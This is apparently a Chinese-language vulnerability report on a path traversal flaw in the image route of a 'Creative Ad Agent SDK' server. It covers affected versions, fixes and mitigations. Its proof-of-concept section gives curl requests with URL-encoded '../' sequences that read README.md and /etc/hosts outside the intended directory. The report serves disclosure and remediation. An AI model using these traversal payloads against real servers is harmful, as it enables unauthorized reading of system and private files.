# 漏洞总结:Creative Ad Agent SDK 服务端路径遍历漏洞 ## 漏洞概述 - **漏洞类型**:路径遍历(Path Traversal) - **CVE ID**:CVE-2026-XXXX(待分配) - **CWE ID**:CWE-22 - **影响组件**:`server/sdk-server.ts` - **触发路径**:`/images/:sessionId/:filename` - **漏洞描述**:服务端未对用户控制的 `sessionId` 和 `filename` 参数进行路径规范化校验,攻击者可构造包含 `../` 的恶意路径,读取服务器任意文件(如 `/etc/hosts`、仓库 README 等)。 ## 影响范围 - **受影响版本**: - 已确认受影响的提交:`7516de156684dc55449db62acbaa021f8a3`(最新版) - 所有包含相同请求-响应流逻辑的版本均可能受影响 - **环境要求**: - 操作系统:macOS(测试环境) - Node.js 版本:22.17.0 - 部署方式:本地运行 - **攻击前提**: - 攻击者需能向 SDK 服务端发送 HTTP 请求 - 服务端暴露 `/images/:sessionId/:filename` 路由 - 服务端进程拥有文件系统读取权限 - 无反向代理或中间件过滤编码后的遍历序列(如 `%2e%2e`) ## 修复方案 ### 推荐修复措施 1. **路径规范化**:在访问文件前,将请求路径与 `generated-images` 基础目录进行规范化比对,确保最终路径仍在允许目录内。 2. **拒绝绝对路径与遍历序列**:在 `sessionId` 和 `filename` 参数中严格校验,拒绝包含 `..` 或绝对路径的请求。 3. **使用安全 API**:改用 `res.sendFile(filename, { root: imagesDir })` 并启用严格文件名验证。 4. **添加回归测试**:针对编码遍历载荷(如 `%2e%2e`)编写测试用例,确认无法访问 `generated-images` 目录外文件。 5. **发布安全公告**:补丁发布后及时通知维护者。 ### 临时缓解措施 - 不将 SDK 服务端暴露给不受信任的网络。 - 在反向代理层拦截编码后的遍历序列(如 `%2e%2e`、`%2f`、`%3a`)。 - 以低权限账户或容器运行服务端,限制对 `generated-images` 目录外的访问权限。 ## POC 代码 ```bash # 1. 启动受影响的服务端 cd server npm install touch ../.env npm start # 2. 读取 intended generated-images 目录外的文件 curl -i --path-as-is 'http://127.0.0.1:3001/images/%2e%2e/README.md' # 3. 读取主机系统文件(如 /etc/hosts) curl -i --path-as-is 'http://127.0.0.1:3001/images/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/hosts' ``` > 注:上述 POC 中 `%2e%2e` 为 `..` 的 URL 编码形式,用于绕过简单字符串过滤。